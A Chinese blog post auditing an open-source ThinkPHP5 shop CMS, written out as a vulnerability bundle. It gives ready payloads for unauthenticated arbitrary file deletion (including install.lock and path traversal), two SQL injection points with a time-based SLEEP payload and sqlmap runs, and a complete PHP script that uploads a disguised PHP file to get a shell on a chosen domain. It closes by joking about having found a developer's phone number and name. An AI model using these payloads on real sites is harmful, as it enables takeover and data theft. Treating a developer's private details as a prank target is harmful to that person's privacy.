审计某开源商城中的漏洞大礼包

怼烎@ 2022-12-31 15:20 99阅读 0赞

首先这个CMS并不怎么出名，拿来当审计样板却很合适。给我的感觉是适合初级水平升中级之间的过程，有算是对上一篇审计文章的后续文了。

**审计的版本为: 20180206 发布的免费版 2.0 。另外图很多，建议 PC 端体验更佳！**

### 分析环境及入口 ###

图中的 URL 会出现两个，这是因为部分在公司审计的，部分是周末在家审计的。

官网首页上有文档，里面注明了这套 CMS 所使用环境：

> `ThinkPHP5.0 + MySQL`

这样看来实际上我们只需要熟悉TP5,就能大体知道该CMS的请求流程，而TP5中有个很有用的东西，叫路由，通过相关URL快速定位源码代码位置。

![图片][ccecbceca54ca3eba15c1316abe956b7.png]

当然我们在本地部署好站点后，在前台任意点击一个URL:

> http://demo.com/index.php?s=/helpcenter/index&id=1

其对应的文件路径为

> application/shop/controller/Helpcenter.php

方法则是该文件中的index(),参数为id。

我的习惯是通读代码，所以让我从中找到了很多有意思的地方。

### 前台两处任意文件删除 ###

**一次删除一个**

问题代码位于：

> application/wap/controller/Components.php

方法:

![图片][b27aef2f70215ef439918e625493be2b.png]

这段代码非常直白，居然还是public方法，未做任何校验直接删除post参数提交过来的文件路径。

我当时看到这里直接懵逼的，开发新手也不会写这样的代码吧?

*删除安装锁文件*

Payload:

> http://demo.com/index.php?s=/wap/Components/deleteImgUpload

Post Data:

> imgsrc = install.lock

权限够的话imgsrc参数中如果加../是可以删根目录上级文件夹中文件。

**一次删除多个**

问题代码位于:

> application/wap/controller/Upload.php

方法:

![图片][58582a9949c267daaf7657cd3012e62a.png]

同样的，依然是public方法，未做任何校验直接删除post参数提交过来的文件路径。

*删除安装锁文件*

Payload:

> http://demo.com/index.php?s=/wap/Upload/removeFile

Post Data:

> filename=install.lock,test1.txt,test2.txt

权限够的话filename参数中如果加../是可以删根目录上级文件夹中文件。

### 前台两处 sql 注入 ###

**第一处在 `getGoodsListByKeyWord` 方法**

问题出现在application/shop/controller/Goods.php文件中，我们直接看到代码。

![图片][b34e5def5558940b7ed80755b9daf655.png]

![图片][fd12e77a8ff90af62b51b9146669958e.png]

![图片][d6c00b3b1fb7aa13a0616ac221c07f97.png]

![图片][ec5643175949ad036c1eda310aac24c4.png]

直接放到sqlmap中跑一遍试试:

![图片][283d796aea2c785d181a02238888873e.png]

可以看到，这是一处报错回显的sql漏洞。

我们来验证一下.

![图片][cf27946e3faada275f4454e674c28870.png]

OK!我们现在可以直接用sqlmap跑库了。

**第二处出现在 `promotionZone` 方法**

![图片][60852407e4d766987a2a53a108e7c8c4.png]

nice! 这里出现了一个无单引号闭合的SQL拼接，我们持续跟进一下。

![图片][f1d5b10890945033474d324ecadcb1bc.png]

![图片][97de6aec25ea61fdc0531d6e1f9b7a8e.png]

先用sqlmap测试一下

![图片][f0611c0ef48a5cdb35a2f2f1b3616722.png]

666666，可以看到攻击是成功的。

--------------------

其实到这里就应该结束了，我也不知道为什么我要接着写下去。麻烦的不是如何找漏洞，而是你需要将这些知识通过语言整理出来，让阅读的人能理解，能学习。

安装好xdebug后，我们来跟踪调试一波，定位下问题是如何出现，在哪出现的。

当然我们输入:

> http://cms.com/index.php?s=/shop/Goods/promotionZone&page=1&group\_id=1 AND (SELECT \* FROM (SELECT(SLEEP(5)))uNuh)

这段Payload后，发现已经中断生效。

接着我们开始单步跟踪。

![图片][de66793f6a76315f10bc627e303a7955.png]

进入到thinkphp/library/think/db/Query.php文件中的where()方法。

![图片][e878c5b03da4a8be7edd5ad21b299ec9.png]

![图片][85a99d80f9b9ce377d4ba55442a5fdb8.png]

![图片][9861a8a1d71445a4df253a939b1f0422.png]

![图片][705c87ba2b5eb081be4a74d35599e70c.png]

![图片][37e651caee9434f937fa10d08c8e89a3.png]

### 前台上传 getshell ###

问题代码位于：

> application/wap/controller/Upload.php

中的uploadFile()方法。

![图片][81c14757a748c4937a2b9ef771499e8e.png]

然后我们来看看验证函数:

![图片][4515724fb1439dc65835406d6bb8b011.png]

上传文件的目录在代码中也有给出:

![图片][87837c0ab4ae053a39ae8b0089547164.png]

本地构建Payload:

![图片][2091189c8796a694576cce841507bde1.png]

![图片][c8bc79406f980e8bcc9fb950e57382e7.png]

**Payload脚本**

`hacker.php`

> `<?php phpinfo(); ?>`

`Payload.php`

<?php
    
    /**
     * xxxx前台文件上传Payload
     * 
     * @version 1.0
     * @author 0x584A <xjiek2010|at|icloud.com>
    */
    $filename = time();
    $ch       = curl_init();
    
    $savePath = 'upload/common/';
    $imgfile = new CurlFile('./hacker.php');
    $imgfile->setMimeType('image/jpeg');
    
    $data = array('file_path' => $savePath, 'file_upload' => $imgfile);
    curl_setopt($ch, CURLOPT_URL, 'http://[要getshell的域名]/index.php?s=/wap/Upload/uploadFile');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_SAVE_UPLOAD, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    
    $info = curl_exec($ch);
    #status = curl_getinfo($ch);
    
    if ($status['http_code'] === 200) {
        echo '[+] 执行成功! ' . PHP_EOL;
        echo ']+] Payload路径: ' . $savePath . $filename . '.php' . PHP_EOL.PHP_EOL;
        echo '[+] 如有网络延迟，文件名称请自行加1'.PHP_EOL;
    } else {
        echo '[!] 未知原因失败!' . PHP_EOL;
    }

![图片][be5d3e71c49b02abf1cfc10aad853d1e.png]

### 有意思的地方 ###

最后还知道了一个开发人员手机号，并确认其姓名。要不要给他打个电话拜个年？

![图片][0432c123a2cc1f5bba4dfd79a4b7a469.png]

![图片][e50ef3c90b4422450bb4dad646a4f100.png]

![图片][6b6eddfb1bdaa5f05e5a747b10b068b7.png]

![图片][83d8532123ac4e2376aef9b960c60e9f.png]

[ccecbceca54ca3eba15c1316abe956b7.png]: /images/20221120/d4b9c8a3d97b40b0be5e7cb2cfad3a75.png
[b27aef2f70215ef439918e625493be2b.png]: /images/20221120/b771d02c62f24a568c351697f5553c66.png
[58582a9949c267daaf7657cd3012e62a.png]: /images/20221120/f9db6ff80bd44054a2df204ed96e3154.png
[b34e5def5558940b7ed80755b9daf655.png]: /images/20221120/56b97509fbbf483091f27b0756192683.png
[fd12e77a8ff90af62b51b9146669958e.png]: /images/20221120/51ff041a0deb4026b338627e11bed15a.png
[d6c00b3b1fb7aa13a0616ac221c07f97.png]: /images/20221120/47806ff3b04049219b8f53db224c0386.png
[ec5643175949ad036c1eda310aac24c4.png]: /images/20221120/cea10a3db44e46b4aaaa88eaa42a9601.png
[283d796aea2c785d181a02238888873e.png]: /images/20221120/5aa8a1a5861c47b6929ba3dd91637df3.png
[cf27946e3faada275f4454e674c28870.png]: /images/20221120/7aad5314b8c84d7cba78822c3da511b3.png
[60852407e4d766987a2a53a108e7c8c4.png]: /images/20221120/39c7e958a7534a97adc5ef673290b355.png
[f1d5b10890945033474d324ecadcb1bc.png]: /images/20221120/7b2618f23040446786345da8c1edad72.png
[97de6aec25ea61fdc0531d6e1f9b7a8e.png]: /images/20221120/f7e8084df09842f189b78761b586f9f8.png
[f0611c0ef48a5cdb35a2f2f1b3616722.png]: /images/20221120/3b174f7c5b9846ea8e27808a73be1898.png
[de66793f6a76315f10bc627e303a7955.png]: /images/20221120/887d695db70c44dca0376c374e7e9fce.png
[e878c5b03da4a8be7edd5ad21b299ec9.png]: /images/20221120/d5cfdf47e09744279cabcf3f06ced10f.png
[85a99d80f9b9ce377d4ba55442a5fdb8.png]: /images/20221120/3f11d32ee5e34236b71db41e0077cd1c.png
[9861a8a1d71445a4df253a939b1f0422.png]: /images/20221120/90037e2505fe4a2e9f9a53aa4a9af49b.png
[705c87ba2b5eb081be4a74d35599e70c.png]: /images/20221120/85c1bc5bae75440198333af19af5652c.png
[37e651caee9434f937fa10d08c8e89a3.png]: /images/20221120/bfc876b699c34844b816a0d8a0f9026c.png
[81c14757a748c4937a2b9ef771499e8e.png]: /images/20221120/c124d60a2a444adcbe86a57681938a88.png
[4515724fb1439dc65835406d6bb8b011.png]: /images/20221120/a718da43182145e0b5574cb733c2a00f.png
[87837c0ab4ae053a39ae8b0089547164.png]: /images/20221120/e225cb95b05644d0ae3f95936576a920.png
[2091189c8796a694576cce841507bde1.png]: /images/20221120/03f304ed00db4d8495c2ef843bcbd2e2.png
[c8bc79406f980e8bcc9fb950e57382e7.png]: /images/20221120/5a748a42375943f482245b5752ab554f.png
[be5d3e71c49b02abf1cfc10aad853d1e.png]: /images/20221120/8b33a32f15b34dbc8018fc5bf1b2f0d6.png
[0432c123a2cc1f5bba4dfd79a4b7a469.png]: /images/20221120/f920e3de09dd44eda4756dbe72bdd814.png
[e50ef3c90b4422450bb4dad646a4f100.png]: /images/20221120/cacfd8a4fd19413abb2476a495a8149e.png
[6b6eddfb1bdaa5f05e5a747b10b068b7.png]: /images/20221120/d15023e7f8dd4ce3ac57acc3ee34ba1d.png
[83d8532123ac4e2376aef9b960c60e9f.png]: /images/20221120/9aa06dc8564a4cd0bf54613a337f0398.png